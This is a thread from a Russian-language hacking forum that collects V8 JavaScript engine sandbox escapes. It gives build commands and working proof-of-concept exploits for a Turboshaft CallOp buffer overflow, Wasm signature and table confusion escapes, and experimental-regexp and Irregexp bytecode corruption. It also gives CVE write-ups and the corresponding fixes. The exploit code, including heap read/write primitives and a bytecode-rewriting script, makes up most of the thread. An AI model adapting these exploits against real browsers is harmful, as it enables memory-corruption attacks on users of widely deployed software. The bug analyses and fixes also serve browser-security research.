• XSS.stack #1 – первый литературный журнал от юзеров форума

V8 sbx escape

xvonfers

RAID-массив
Пользователь
Регистрация
08.06.2024
Сообщения
53
Реакции
58
Данный V8 sbx bypass является первым, который может напрямую быть стриггерин из JS.
До фикса в функции CreateOperation(Turboshaft) происходило неправильное вычисление количества входных аргументов для операции CallOp/некорректного размера буфера(неправильное вычисление input_count). Это приводило к выделению недостаточного количества памяти, что, в свою очередь, вызывало BoF.
C++:
template <typename Op, typename... Args>                                               
Op* CreateOperation(base::SmallVector<OperationStorageSlot, 32>& storage,                                                 
                    Args... args) {                                             
  size_t size = Operation::StorageSlotCount(                                                 
      Op::opcode, (0 + ... + detail::input_count(args)));                                           
  storage.resize_no_init(size);
                                              
  return new (storage.data()) Op(args...);                                                                                                                                                                                                                                                       
}
Путем создания JS-функи с точным количеством аргументов движок Turboshaft генерирует CallOp с слишком большим буфером(CallOp ожидает фиксированный размер буфера на основе количества аргументов, но из-за неправильного вычисления он обращается к памяти за пределами выделенного буфера), что вызывает BoF/V8 sbx bypass.
Фикс:
Триггерится довольно просто:
Bash:
$ cd ~
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ export PATH=~/depot_tools:$PATH
$ mkdir v8
$ cd v8
$ fetch v8
$ cd v8
$ git checkout 661f05587fae383d0a269360a9e792e8671be4fd
$ gclient sync -D
$ ./build/install-build-deps.sh
$ gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true"
$ gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true"
$ ninja -C out/debug d8; ninja -C out/release d8
$ ./d8 --allow-natives-syntax PoC.js
JavaScript:
function g() {}
function f() {
    // Нам нужен CallOp размером 516 байт. Сам CallOp занимает 24 байта. Таким образом,
    // нам нужно 516-24=492 байта для входных данных, с 4 байтами на один вход, это составляет
    // 492/4 = 123 входных данных.

    // JS вызовы в Turboshaft всегда имеют 6 дополнительных входных данных (target, frame
    // state, context, количество аргументов...), поэтому мы пишем JS вызов со 117 входными данными, чтобы достичь
    // 123 входных данных, чтобы достичь 516 байт, необходимых для CallOp.
    g(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
        15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28,
        29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
        43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56,
        57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70,
        71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84,
        85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98,
        99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112,
        113, 114, 115, 116, 117);
}

% PrepareFunctionForOptimization(f);
f();
% OptimizeFunctionOnNextCall(f);
f();

 
CVE-2024-2886 является Race Condition при обработке VideoFrame(WebCodecs) объектов, приводящая к UAF. Уязвимость возникает, когда VideoFrame.copyTo() асинхронно копирует данные в предоставленный пользователем буфер, который может быть перераспределен до завершения операции копирования. На Pwn2Own была счейнена с другим багом "[330575496]PinArrayBufferContent is insufficient to keep the backing store itself pinned", позволяющим поддерживать буфер в рабочем состоянии, базовый `ArrayBufferContents` закрепляется с помощью `PinArrayBufferContent()` и привязывается к колбэк-функции резолвера `done_cb`.
Анализирую wp, которая была отправлена Сынхен Ли(x.com/0x10n) организаторам Pwn2Own, можно выделить ключевые моменты, которые позволяют и по сей день делать V8 sbx bypass, так как техника все еще жива:
- Использование UAF для перезаписи метаданных PartitionAlloc
- Эксплутация UAF, чтобы частично перезаписать заголовок freelist в метаданных, указав его на себя в области метаданных.
- Далее, восстановаление измененной области метаданных с контролируемой аллокацией, чтобы получить контроль над freelist-указателями.
Посему, на данный момент PartitionAlloc - не требующие много усилий в эксплуатации raw_ptr.
Более подробно с техникой можно ознакомиться в wp и коде эксплойта(x.com/0x10n), прикладываемые ниже:
WP:
Эксплойт:
 
Последнее редактирование:

Bash:
$ cd ~
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ export PATH=~/depot_tools:$PATH
$ mkdir v8
$ cd v8
$ fetch v8
$ cd v8
$ git checkout 261ddb89c740d628026f7420276d6e6f8589a74d
$ gclient sync -D
$ ./build/install-build-deps.sh
$ gn gen out/release --args='is_debug=false is_asan=false v8_enable_sandbox = "" v8_enable_memory_corruption_api = true enable_full_stack_frames_for_profiling=true dcheck_always_on=true v8_static_library=true v8_enable_verify_heap=true v8_fuzzilli=true use_sanitizer_coverage=true sanitizer_coverage_flags="trace-pc-guard" target_cpu="x64"'
$ ninja -C ./out/release d8
$ ./d8 --sandbox-testing PoC.js

PoC.js:
JavaScript:
d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');

let builder = new WasmModuleBuilder();
let $struct = builder.addStruct([makeField(kWasmI64, true)]);
let $sig_v_s = builder.addType(makeSig([wasmRefType($struct)], []));
builder.addFunction("writer", $sig_v_s)
  .exportFunc()
  .addBody([
    kExprLocalGet, 0,
    kExprI64Const, 42,
    kGCPrefix, kExprStructSet, $struct, 0,
  ]);
builder.addFunction("dummy", kSig_v_l).exportFunc().addBody([]);
let instance0 = builder.instantiate();
let { writer, dummy } = instance0.exports;

builder = new WasmModuleBuilder();
$struct = builder.addStruct([makeField(kWasmI64, true)]);
$sig_v_s = builder.addType(makeSig([wasmRefType($struct)], []));
let $sig_v_l = builder.addType(kSig_v_l);
let $importWriter = builder.addImport('import', 'writer', $sig_v_l);
let $boom = builder.addFunction("boom", $sig_v_l)
  .exportFunc()
  .addBody([
    kExprLocalGet, 0,
    kExprCallFunction, $importWriter,
  ]);

const kHeapObjectTag = 1;
const kJSFunctionSFIOffset = 16;
const kSharedFunctionInfoTrustedDataOffset = 4;
let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
function getPtr(obj) {
  return Sandbox.getAddressOf(obj) + kHeapObjectTag;
}
function getField(obj, offset) {
  return memory.getUint32(obj + offset - kHeapObjectTag, true);
}
function setField(obj, offset, value) {
  memory.setUint32(obj + offset - kHeapObjectTag, value, true);
}
let writer_sfi = getField(getPtr(writer), kJSFunctionSFIOffset);
let writer_tfd = getField(writer_sfi, kSharedFunctionInfoTrustedDataOffset);
let dummy_sfi = getField(getPtr(dummy), kJSFunctionSFIOffset);
let dummy_tfd = getField(dummy_sfi, kSharedFunctionInfoTrustedDataOffset);
let workerScript = `
  // Prepare corruption utilities.
  const kHeapObjectTag = 1;
  const kSharedFunctionInfoTrustedDataOffset = 4;
  let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
  function getPtr(obj) {
    return Sandbox.getAddressOf(obj) + kHeapObjectTag;
  }
  function getField(obj, offset) {
    return memory.getUint32(obj + offset - kHeapObjectTag, true);
  }
  function setField(obj, offset, value) {
    memory.setUint32(obj + offset - kHeapObjectTag, value, true);
  }
  let writer_sfi = ${writer_sfi};
  let writer_tfd = ${writer_tfd};
  let dummy_tfd = ${dummy_tfd};
  while (true) {
    setField(writer_sfi, kSharedFunctionInfoTrustedDataOffset, dummy_tfd);
    setField(writer_sfi, kSharedFunctionInfoTrustedDataOffset, writer_tfd);
  }
`;
let worker = new Worker(workerScript, {type: 'string'});

for (let i = 0; i < 100; i++) {
  try {
    let instance1 = builder.instantiate({'import': {'writer': writer}});
    instance1.exports.boom(BigInt(Sandbox.targetPage) - 0x7n);
  } catch {
  }
}
1720796284299.png

1720796348086.png
 
Wasm-based V8 sbx escape

Bash:
$ cd ~
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ export PATH=~/depot_tools:$PATH
$ mkdir v8
$ cd v8
$ fetch v8
$ cd v8
$ git checkout 3f66bffc0ea985b07063ecb79130739169e262f2
$ gclient sync -D
$ ./build/install-build-deps.sh
$ gn gen out/release --args='is_debug=false is_asan=false v8_enable_sandbox = "" v8_enable_memory_corruption_api = true enable_full_stack_frames_for_profiling=true dcheck_always_on=true v8_static_library=true v8_enable_verify_heap=true v8_fuzzilli=true use_sanitizer_coverage=true sanitizer_coverage_flags="trace-pc-guard" target_cpu="x64"'
$ ninja -C ./out/release d8
$ ./d8 --sandbox-testing PoC.js

PoC.js:
JavaScript:
d8.file.execute('test/mjsunit/wasm/wasm-module-builder.js');

let builder = new WasmModuleBuilder();
let $struct = builder.addStruct([makeField(kWasmI64, true)]);
let $sig_v_ls = builder.addType(makeSig([kWasmI64, wasmRefType($struct)], []));
let $sig_v_ll = builder.addType(makeSig([kWasmI64, kWasmI64], []));
let $writer = builder.addFunction("writer", $sig_v_ls)
  .exportFunc()
  .addBody([
    kExprLocalGet, 1,
    kExprLocalGet, 0,
    kGCPrefix, kExprStructSet, $struct, 0,
  ]);
let $boom = builder.addFunction("boom", $sig_v_ll)
  .exportFunc()
  .addBody([
    kExprLocalGet, 1,
    kExprLocalGet, 0,
    kExprI32Const, 0,
    kExprCallIndirect, $sig_v_ll, 0,
  ])
let $dummy = builder.addFunction("dummy", $sig_v_ll).exportFunc().addBody([]);
let $t0 = builder
    .addTable(wasmRefType($sig_v_ll), 1, 1, [kExprRefFunc, $dummy.index])
    .exportAs('table_v_ll');
let $td0 = builder.addTable(
    wasmRefType($sig_v_ll), 1, 1, [kExprRefFunc, $dummy.index]);
let $td1 = builder.addTable(
    wasmRefType($sig_v_ll), 1, 1, [kExprRefFunc, $dummy.index]);
let $td2 = builder.addTable(
    wasmRefType($sig_v_ll), 1, 1, [kExprRefFunc, $dummy.index]);
// OOB table.
let $t1 = builder
    .addTable(wasmRefType($sig_v_ls), 1, 1, [kExprRefFunc, $writer.index])
    .exportAs("table_v_ls");
let instance = builder.instantiate();
let { writer, dummy, boom, table_v_ls, table_v_ll } = instance.exports;

const kHeapObjectTag = 1;
const kWasmTableObjectCurrentLengthOffset = 16;
const kWasmTableObjectMaximumLengthOffset = 20;
let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
function getPtr(obj) {
  return Sandbox.getAddressOf(obj) + kHeapObjectTag;
}
function getField(obj, offset) {
  return memory.getUint32(obj + offset - kHeapObjectTag, true);
}
function setField(obj, offset, value) {
  memory.setUint32(obj + offset - kHeapObjectTag, value, true);
}
const kSmiMinusOne = 0xfffffffe;
setField(getPtr(table_v_ls), kWasmTableObjectCurrentLengthOffset, kSmiMinusOne);
setField(getPtr(table_v_ls), kWasmTableObjectMaximumLengthOffset, kSmiMinusOne);

table_v_ls.set(0xfffffff9, writer);
boom(BigInt(Sandbox.targetPage) - 0x7n, 42n);
1720811492505.png
1720811606712.png
 
[TBD][351327767] High CVE-2024-6779: Out of bounds memory access in V8. Reported by Seunghyun Lee (@0x10n) on 2024-07-06

Уязвимость находится в функциях WasmGraphBuilder::MemStart и WasmGraphBuilder::MemSize(wasm-compiler.cc).
Ошибка заключается в том, что происходит некорректный каст cached_memory_index_ к uint8_t, что в свою очередь приводит к неправильной проверке индекса памяти и к дальнейшему доступу к памяти за пределами выделенных границ(OOB memory access), позволяя осуществить V8 sbx bypass.
C++:
Node* WasmGraphBuilder::MemStart(uint32_t mem_index) {
  DCHECK_NOT_NULL(instance_cache_);
  V8_ASSUME(cached_memory_index_ == kNoCachedMemoryIndex ||
            cached_memory_index_ >= 0);
  if (mem_index == static_cast<uint8_t>(cached_memory_index_)) {//некорректный каст
    return instance_cache_->mem_start;
  }
  return LoadMemStart(mem_index);
}
Node* WasmGraphBuilder::MemSize(uint32_t mem_index) {
  DCHECK_NOT_NULL(instance_cache_);
  V8_ASSUME(cached_memory_index_ == kNoCachedMemoryIndex ||
            cached_memory_index_ >= 0);
  if (mem_index == static_cast<uint8_t>(cached_memory_index_)) {//некорректный каст
    return instance_cache_->mem_size;
  }
  return LoadMemSize(mem_index);
}
1721200339395.png
 
V8 sbx escape due to writable MemoryChunk header

Дубликат: V8 sandbox violation in v8::internal::MemoryChunkMetadata::heap(повреждение метаданных ptr)
 
V8 sandbox violation in v8::internal::Managed<icu_73::number::LocalizedNumberFormatter>::GetSharedPtrPtr.
Данная бага является дубликатом следующей: "Sandboxify `Managed` Objects"(https://issues.chromium.org/issues/331237575)
На момент репорта было две ошибки `Managed` - объектов в комбинации с V8 sbx:
1) UAF: если `Managed` - объект будет завершен во время минорной GC, он освободит свой внешний ресурс, но его запись ExternalPointerTable(EPT) не будет освобождена до следующей мажорной GC. Таким образом, была устаревшая запись EPT, которой можно было злоупотребить, чтобы вызвать UAF
2) Использовался один и тот же тег типа для всех `Managed` - объектов, позволяя злоумышленнику вызывать Type Confusion.
 
Еще один дубликат 40849120(V8 Sandbox escape due to writable MemoryChunk header):
V8 sandbox violation in unsigned long v8::base::AsAtomicImpl<long>::Relaxed_Load<unsigned long>
"Повреждение указателя MemoryChunk -> MemoryChunkMetadata или что-то в этом роде" - Samuel Groß(https://x.com/5aelo)
V8 sbx escape due to writable MemoryChunk header

Дубликат: V8 sandbox violation in v8::internal::MemoryChunkMetadata::heap(повреждение метаданных ptr)
 
[343801366][ExperimentalRegExp][$3000]Incomplete hardening of the experimental regex engine -> v8sbx bypass

[42204606]Mitigate sandbox escapes in RegExp
https://issues.chromium.org/issues/42204606

The experimental regex engine is still not fully guarded against V8 sandbox escapes.In regexp/experimental/experimental-interpreter.cc [1], the SET_REGISTER_TO_CP and CLEAR_REGISTER instructions allow OOB on the OS heap where the register array is stored since there are no bounds check that would protect against V8 heap corruption.
C++:
void RunActiveThread(InterpreterThread t) {
...
    case RegExpInstruction::SET_REGISTER_TO_CP:
      GetRegisterArray(t)[inst.payload.register_index] = input_index_;
      ++t.pc;
      break;
    case RegExpInstruction::CLEAR_REGISTER:
      GetRegisterArray(t)[inst.payload.register_index] =
          kUndefinedRegisterValue;
...
The compiled regex bytecode resides on the V8 heap and can be arbitrarily modified by an attacker with arbitrary read/write on the V8 heap.By overwriting this bytecode you can get an OOB on the OS heap which I then turn into an *(arb_ptr) = 0 and write to the sandbox target page to demonstrate a bypass.This exploit consists of the following steps:
  • Overwrite the bytecode of a regex object (on the V8 heap) that was compiled with the experimental engine with the following:
BEGIN_LOOP, 0x0, CONSUME_RANGE, 0x610061, SET_REGISTER_TO_CP, <OOB_OFFSET>, ASSERTION, ASSERTION_NON_BOUNDARY, END_LOOP, 0x0, JMP, 0x0
  • Spray (resizable) ArrayBuffer objects in JS that will be allocated on the OS heap
  • Execute the regex with the following string: re.exec("a".repeat(OOB_VALUE) + "b");. This will lead to the value OOB_VALUE being written OOB on the OS heap with offset OOB_OFFSET (treated as an int so OOB is possible in both directions). Concretely, I use this to overwrite the backing_store of a sprayed resizable ArrayBuffer and point it inside the V8 heap.
  • Inside the V8 heap, setup a valid backing_store structure with backing_store()->buffer_start_ == arb_ptr (e.g. Sandbox.targetPage)
  • Trigger a resize(0) on the ArrayBuffer which will lead to 0 being written to arb_ptr [2].
Note that since there has been an attempt to harden the experimental regex engine against sandbox escapes with commit (a0ee8d65eadb6a9a3ad391b7346db0f9f443adab), this bypass now needs the flag --enable-experimental-regexp-engine to work.However, the root cause of this issue still exists and only the access to the experimental regex engine is not possible anymore.
[1] https://source.chromium.org/chromiu...xperimental/experimental-interpreter.cc;l=475
[2] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/backing-store.cc;l=612

Fix:
Inserts SBXCHECKs to guard those two instructions, similar to the checks for WRITE_LOOKBEHIND_TABLE and READ_LOOKBEHIND_TABLE instructions.

Exploit:
./d8 --enable-experimental-regexp-engine --allow-natives-syntax --sandbox-testing expl.js
1726139428846.png

1726139457480.png

1726139493429.png


Samuel Groß say:
 
[344963941, 42204606][$5250][regexp][sandbox]Irregexp engine bytecode modification -> arbitrary r/w outside the sandbox(v8sbx bypass)

Since the bytecode used by the Irregexp engine resides on the V8 heap, it can be arbitrarily modified by an attacker.In IrregexpInterpreter::Result RawMatch the backtrack_stack is not guarded against an attacker controlling this bytecode.By performing a pop on an empty backtrack_stack, data in front of the original stack data can be accessed OOB.This can be achieved by using any of the following bytecodes: POP_CP, POP_BT, POP_REGISTER and CHECK_GREEDY [1].


The backtrack_stack data is initially allocated on the OS stack.Therefore, this OOB can be used to modify OS stack data directly.Concretely, I target the corresponding backtrack_stack.data_ structure that is directly accessible with the OOB.I exploit this with the following steps to write to an arbitrary address (here the Sandbox.targetPage):
  • Underflow backtrack_stack by using the POP_REGISTER bytecode.
  • Overwrite backtrack_stack.data_.end_of_storage_ with a random unaligned value. This effectively allows for OOB access in both directions now since the check that could potentially reallocate backtrack_stack.data_ will always fail even once the stack becomes full [2].
  • Overwrite backtrack_stack.data_.end_ to point to the location on the stack where the data pointer of InterpreterRegisters is stored [3]. Without first modifying backtrack_stack.data_.end_of_storage_, this would fail because this pointer is stored directly after the original end of backtrack_stack.data_.
  • Use the PUSH_BT bytecode to write an arbitrary pointer (here Sandbox.targetPage) to the data pointer of InterpreterRegisters.
  • Using the SET_REGISTER bytecode will now write to our given pointer.
The corresponding bytecode, which illustrates this better, looks like this:
Код:
POP_REGISTER | 0x000,
PUSH_BT, 0x1, // overwrite backtrack_stack.data_.end_of_storage_
POP_REGISTER | 0x000, POP_REGISTER | 0x000, POP_REGISTER | 0x000,
POP_REGISTER | 0x100, ADVANCE_REGISTER | 0x100, BACKTRACK_END_TO_REGS_OFF, // BACKTRACK_END_TO_REGS_OFF = 0x10c
PUSH_REGISTER | 0x100, // overwrite backtrack_stack.data_.end => &registers.begin_
PUSH_BT, sbxLower,   // overwrite registers.begin_ with Sandbox.targetPage
PUSH_BT, sbxUpper,
SET_REGISTER | 0x000, 0x41414141, // write 0x41414141 to targetPage

[1] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/regexp/regexp-interpreter.cc;l=552
[2] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/base/small-vector.h;l=153
[3] https://source.chromium.org/chromium/chromium/src/+/main:v8/src/regexp/regexp-interpreter.cc;l=454

Fix:
[regexp] Harden backtrack strack access in interpreter
Prevent reading/popping on empty stack.
C++:
diff --git a/src/regexp/regexp-interpreter.cc b/src/regexp/regexp-interpreter.cc
index 13cf076..a351e38 100644
--- a/src/regexp/regexp-interpreter.cc
+++ b/src/regexp/regexp-interpreter.cc

@@ -135,7 +135,7 @@
     return (static_cast<int>(data_.size()) <= kMaxSize);
   }
   int peek() const {
-    DCHECK(!data_.empty());
+    SBXCHECK(!data_.empty());
     return data_.back();
   }
   int pop() {

Exploit:
./d8 --sandbox-testing expl.js
JavaScript:
var DEBUG = false;

var buf = new ArrayBuffer(8);
var dv = new DataView(buf);

function assert(x, msg) {
    if (msg === undefined) msg = ""
    if (!x) throw "Assetion failed: " + msg;
}

function dp(o) {
    if (DEBUG) eval("%DebugPrint(o)");
}
function hex(p) {
    return "0x" + p.toString(16);
}

function packU64(l, u) {
  return l | (u << 32n);
}

function u2f(u) {
    dv.setBigUint64(0, u, true);
    return dv.getFloat64(0, true);
}

function f2u(f) {
    dv.setFloat64(0, f, true);
    return dv.getBigUint64(0, true);
}

function s2u(s) { return s >>> 0; }

function lower(u) {
    return s2u(u & 0xffffffff);
}

function upper(u) {
    return parseInt(BigInt(u) >> 32n);
}



function printh(o) {
    console.log(hex(o));
}

function print(o) {
    console.log(o);
}


var memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
var addrof = (o) => Sandbox.getAddressOf(o);

var readHeap4 = (offset) => memory.getUint32(offset, true);
// var readHeap8 = (offset) => memory.getBigUint64(offset, true);
var writeHeap1 = (offset, value) => memory.setUint8(offset, value, true);
var writeHeap4 = (offset, value) => memory.setUint32(offset, value, true);
var writeHeap8 = (offset, value) => memory.setBigUint64(offset, value, true);


re = /a*b/;

re.exec("a".repeat(1) + "b");

print("re @ " + hex(addrof(re)));
reDataAddr = readHeap4(addrof(re) + 0xc);
print("re->data @ " + hex(reDataAddr));
reBytecodeAddr = readHeap4(reDataAddr + 0x1c - 1);
print("re->bytecode @ " + hex(reBytecodeAddr));

function setUseBytecode(ree) {
    let reeDataAddr = readHeap4(addrof(ree) + 0xc);
    let reeCaptureCountAddr = reDataAddr + 0x30 - 1;
    writeHeap4(reeCaptureCountAddr, 0xfffffffe);
}

setUseBytecode(re);

function setBytecode(ree, bytecodeArr) {
    let reeDataAddr = readHeap4(addrof(ree) + 0xc);
    let reeBytecodeAddr = readHeap4(reeDataAddr + 0x1c - 1) - 1;
    let reeBytecodeSize = readHeap4(reeBytecodeAddr + 4) >> 1;
    assert(bytecodeArr.length <= reeBytecodeSize, "bytecode does not fit!");

    for (let i = 0; i < bytecodeArr.length; i++) {
        writeHeap4(reeBytecodeAddr + 4*i + 8, bytecodeArr[i]);
    }
}

function setBytecodeAtOffset(ree, offset, bc) {
    let reeDataAddr = readHeap4(addrof(ree) + 0xc);
    let reeBytecodeAddr = readHeap4(reeDataAddr + 0x1c - 1) - 1;
    let reeBytecodeSize = readHeap4(reeBytecodeAddr + 4) >> 1;
    assert(bc.length == 2, "[opcode, operand]");

    for (let i = 0; i < bc.length; i++) {
        writeHeap4(reeBytecodeAddr + 4*offset + 4*i + 8, bc[i]);
    }
}


const BACKTRACK_END_TO_REGS_OFF = 0x10c;

const PUSH_BT = 2;
const PUSH_REGISTER = 3;
const SET_REGISTER = 4;
const ADVANCE_REGISTER = 9;
const POP_CP = 10;
const POP_REGISTER = 12;
const LOAD_4_CURRENT_CHARS_UNCHECKED = 22;


let sbxLower = lower(Sandbox.targetPage);
let sbxUpper = upper(Sandbox.targetPage);


setBytecode(re, [POP_REGISTER | 0x000,
    PUSH_BT, 0x1, // overwrite backtrack_stack.data_.end_of_storage_
    POP_REGISTER | 0x000, POP_REGISTER | 0x000, POP_REGISTER | 0x000,
    POP_REGISTER | 0x100, ADVANCE_REGISTER | 0x100, BACKTRACK_END_TO_REGS_OFF,
    PUSH_REGISTER | 0x100, // overwrite backtrack_stack.data_.end => &registers.begin_
    PUSH_BT, sbxLower,   // overwrite registers.begin_
    PUSH_BT, sbxUpper,
    SET_REGISTER | 0x000, 0x41414141, // write 0x41414141 to targetPage
    ]);

re.exec("aaaaaaaaaaaaaaaaaaaaaaaaab");
1726343077489.png

1726343137788.png

1726343198063.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх